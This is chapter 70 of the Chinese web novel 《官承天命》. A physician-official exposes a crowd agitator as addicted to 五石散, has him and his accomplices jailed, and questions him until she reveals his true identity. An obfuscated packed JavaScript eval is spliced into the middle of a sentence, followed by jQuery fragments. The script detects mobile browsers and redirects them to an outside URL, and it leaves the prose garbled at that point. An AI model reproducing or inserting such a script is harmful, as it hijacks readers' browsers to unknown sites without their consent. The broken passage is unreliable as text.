70.你是谁
作品:《官承天命》 罗忠正在气头上的火感觉莫名被一阵风吹散了点,他扭头去看杨昔霏。
他早上并没有正眼瞧过她,倒不是他看不起人,实在是身前的百姓太多,只用余光瞥见多来了一人,对他没什么印象,所以现在才看清楚他的脸:
“后辈,你的手还伤着,若是让你来替老夫解决此事,传出去莫说老夫欺压小辈。”
他看起来是很不信任地在杨昔霏的手上看了看,倒是没提他脸上的疤,对他们这些行医的大夫来说,一张脸哪儿有手金贵。
杨昔霏也察觉到面前的人并不是什么暴躁易怒的性子,仅仅是见不得小人作祟,于是挑了挑眉,指着自己的手道:
“我的手好得差不多了,只是还不能为人接骨,若是连给人把脉问诊都做不到,那我不就是个废人了?还请前辈将这正名的机会让于我。”
人家都说道这种地步,罗忠还能说什么?自然只能“退位让贤”到一旁看她动作了,否则非要说他是个要把所有事都揽到自己头上的自负之人不可。
杨昔霏到没有心急,只是不紧不慢得逼近,她慢慢观察着汤麻子脸上的神态变化,一切细节都看在眼里。
然后用一种不由分说的态度捏上了汤麻子的手腕,简直是骨瘦如柴,她皱了皱眉,随即把上脉。
脉象浮数,体内阳气亢奋,热邪偏散。
杨昔霏感受着脉象自己眉心一跳,他这个面相如枯槁,实为气血损耗过度之状,与脉象却是大相径庭。
于是杨昔霏一只手覆在汤麻子的下颚,用了些力道捏开,看了他的牙齿舌苔,收手时感觉手上有了干意,她手指搓了搓,看到些白色的粉末。
她没敢再用手去碰这不明的白色粉末,用了手帕在汤麻子胡子上擦了擦,深蓝色的帕子上果然有了层白色的粉末,她靠近鼻子嗅了嗅,那味道实在不陌生,不是什么陌生的药物。
心中有了猜测还需要证实,她挑选了一根银针扎在汤麻子食指指腹处扎进去,只见银针尾部变黑了些。
“想必各位父老乡亲也看见了,汤麻子如今的模样是中了毒。”
她见汤麻子想要反驳,她也不给对方机会,先一步加快语速把话都说清楚:
“他服用的乃是五石散,短时间内服用或许有振奋精神,缓解虚寒之症的作用,听起来是补药,实则是让人上瘾发疯的毒药。”
“服用的久了便戒不掉五石散,频频依靠其作用,还会变成汤麻子如今的模样,形容枯槁,气血亏损。”
她说着又举起变黑了的银针,诱导性地说着汤麻子的病症:
“不如我再来说说你的毒已经到了哪种地步如何?”
“我见你的样子也不是一朝一夕能败成这样,想必头发稀疏已经有了脱落之状,身上的恶臭是因为时时腹痛沾染上的,皮肤看起来倒是没有溃烂,只怕再久一点便连人样都没有了……”
她越说汤麻子越害怕,他怕得不是杨昔霏的恐吓,反而因为这些都是真的他才更加害怕,他哪里还有刚才的尖酸刻薄,在求生的本能面前,什么都是废话:
“柳大夫,我错了,您医者仁心,是我不识好人心,求您大人有大量,救小人一命,小人不想死……”
杨昔霏冷哼一声没理睬他眼泪鼻涕齐下的场面,朝向右边的百姓扬起声音高声道:
“各位乡亲都听到了吧,刚才的话都只是汤麻子对官府及我们几位大夫的抹黑之举,我们来到这里只是为了为你们诊治,分毫不取,你们大可以试着相信我们。”
“还有,我方才对汤麻子所出之言并非恐吓,反而是实打实的事实,五石散从来都不是什么救命良药,而是让人沉迷其中,取人性命的毒药,万不可再步他后尘。”
她说完之后百姓们纷纷后怕之余也没了围观的心思,纷纷自觉排期了长队,到了各个诊桌前,临走罗忠多看了她一眼也离开了。
汤麻子被官兵钳制着,是在八方镇驻守的官兵,他们自然是认得这位昨日匆匆而来的大人物,想要请示他指令之时,杨昔霏背着人给了他们噤声的眼色。
借着取药的名头,杨昔霏到无人处告诉李飞镜所派给他的信任之人,让他们二人把自己的话带给镇长:
“就告诉他汤麻子影响官府救灾,以祸国罪压入大牢,待查清楚幕后主使再进一步发落。”
“方才在人群中除了这汤麻子还有三个鼓动最厉害的人,他们的样貌可记下了?告诉其他人,不要让他们逃走报信,若是不能活捉,就地处决。”
杨昔霏尽自己所能压低音量,又快了语速把一切交代清楚,把方才脑子里想好用于配药的草药带了出来,倒也没有骗人。
于是就这样,杨昔霏,罗忠以及更年长的一位老者,就这么从大好正午一直坐到了半夜三更,到了连月亮都看不下去,主动藏在云层里的地步,杨昔霏和罗忠二人才揉了揉酸痛地手腕各自回去休息了。
至于那位老人,毕竟不再是年轻人了,杨昔霏自然不能看到老人家操劳过度,太阳落山就让他回去休息了,万一他累垮了,就剩他们两人还不知道是什么场面。
白日里不断地有人被找到,或捞起来,那一幕幕痛彻心扉实在算不上好受,她坐在烛火旁,凑近了秤杆去看上面的刻度。
本想多配些药备着,无奈她用眼过度,眼前不止是模糊,更是有了黑色的重影,她扶着疼痛的头,最终熟只能休息了。
第二日她交代了手下的人去向各方打听汤麻子的来历,自己则一边替人看诊,一边不经意间同百姓闲聊间探听和山匪有关的消息,并悄悄记下相关的人家。
自上次把事情处理得利落干净之后,这两日行医之时,杨昔霏总觉得有两股若有若无的视线落在自己身上,其中一道很是炙热,以至于让她这种强心脏的人都有些熬不住。
有趣的事,每每她看过去,罗忠又早早移开目光,手下动作不停,丝毫不给她开口的机会,于是两个白日便这样过去。
她在来八方镇第三日的夕阳西下之际,得到了同汤麻子有关的事,她看完觉得颇为有意思,居然都是相熟之人。
于是在晚上带了范随去到了地牢,或许是有人还在乎他,又或许是汤麻子还有些作用,反正他看起来尚未受什么苦的模样,只是没有服用五石散看起来没了精神气,仿佛只剩一口气吊着。
“吱呀——”一声门响,汤麻子坐在角落里,闭目养神,面前的饭菜倒是吃个精光,倒是惜命,可这样惜命的人前两日的举动却是不要命的歇斯底里,思此及杨昔霏莫名有趣的讥笑出声。
汤麻子早知道是她,也没再睁眼,看起来没了那日的疯癫愚蠢,身上多了些沉稳:
“柳大人,不知道您还要关我到什么时候去,届时我死在牢里,还要劳烦官府替我收尸。”
“汤麻子,你果然早就知晓我的身份,那你应当也知道我的来意,阻挠官府救灾,本官治得就是你的祸国之罪,你可有什么要说得?若是另有隐情,本官怡情
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396521|192538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
斟酌从轻发落。”
杨昔霏拍了拍一旁烂椅子上的稻草,也不管上面不知何时沾染的血迹,坐在没有血迹的另一端,右腿搭在左腿上,看起来官威尽显。
“呵,我烂命一条,哪里会懂什么辩驳之术,不过柳大人如今正得意,可不要在这种死过人的地方久待,小心染了病。”
汤麻子说完以后没舍得睁开眼睛,只是不像疯癫时带刺,对她说话听起来有了劝告的意味,说完应当是疼得慌,便不说话了,头一扭仿佛睡了过去。
他当然没有睡,杨昔霏想从他下手就不会轻易放过他,正好也能试探自己得到的消息是否属实,假的倒也没什么,可若是真的对她来说可就大有用处了。
她盯着前面的破碗,准确来说是看碗前移动的蚂蚁,不咸不淡地问:
“你既然早早知晓我的身份,还能提早在人群中同人串通好鼓动百姓给我使绊子,八方镇可没有这么多能人,所以你是哪位大人物的下属?”
说着她看见那蚂蚁搬了一粒掉落的粗米,在桌子上四处移动差点要掉下去之际,用手搭在桌边成了桥,让蚂蚁到了自己手上,口中话没停,速度慢了不少,似在思考:
“洛昌的大人物就那两个,让我猜猜,也不知道我有没有好运气可以在三次内猜中。”
“你既然是阻挠官府办案,想必是十分痛恨官府,甚至有着不共戴天的仇恨,洛昌倒是有鼎鼎大名的山匪,不过我见你此般模样,定然不是山寨之人,又或许是你有什么过人的才华能让山匪的首领对你另眼相看也说不准。”
说完了这些,杨昔霏在观察他的表情动作,汤麻子安详睡着,若非枯瘦的胸脯还有起伏,范随甚至都要觉得这人已经死了。
杨昔霏两手十指插在一起,大拇指空出来,左拇指搭在右拇指上,右拇指又抽出来搭在左拇指上,就这样上下翻转摩擦,有些遗憾道:
“见你的模样,我应当是猜错了,还有两次机会,我再猜猜吧。”
“我到洛昌接触的官员实在不多,知晓的大官就那几位,应当会往他们身上猜,你多多包涵。”
杨昔霏有些歉意的笑笑,汤麻子还是没反应,连眼皮都不掀一个,她不在意,自顾自的说下去:
“莫非是水部司长张磊?我尽心尽力为她的女儿诊病,如今有了起色,行事也被他看在眼里,莫非怕我真的把人人治好了,自己却不愿意拿酬金答谢,于是派了你来闹事不成?虽是如此可就真叫人寒心”
面前的蚂蚁再次到了边缘,杨昔霏不厌其烦地把它放到中间,又过了约莫半柱香时间,她没听到动静,叹了口气有些失望:
“看来我的运气果然没那么好,现在可就剩一次机会了,我认识的也只剩一位了。”
“不是叛贼,不是小人,莫非是因为我现在效力于洛昌县令张正清,他想要试探我的忠心和能力,派了你来试探我不成?”
桌上的蚂蚁这次放弃了挣扎,待在桌子中间伸长了触角,杨昔霏似乎真的没了耐心,用桌上的破碗把那蚂蚁罩住,再也看不见,她似乎想什么似的,突然惊讶道:
“不对啊,你应当同张正清是有仇的,又怎么会效力于他?莫非你是个大度之人,一点不在意他把你在最风光得意时扯下云端还于他和解不成?”
杨昔霏看起来有些迷惑了,似乎是看他丝毫没有反应的样子不确定起来:
“所以我现在是该叫你汤麻子呢,还是前县令竞争者之一的汤广林?”

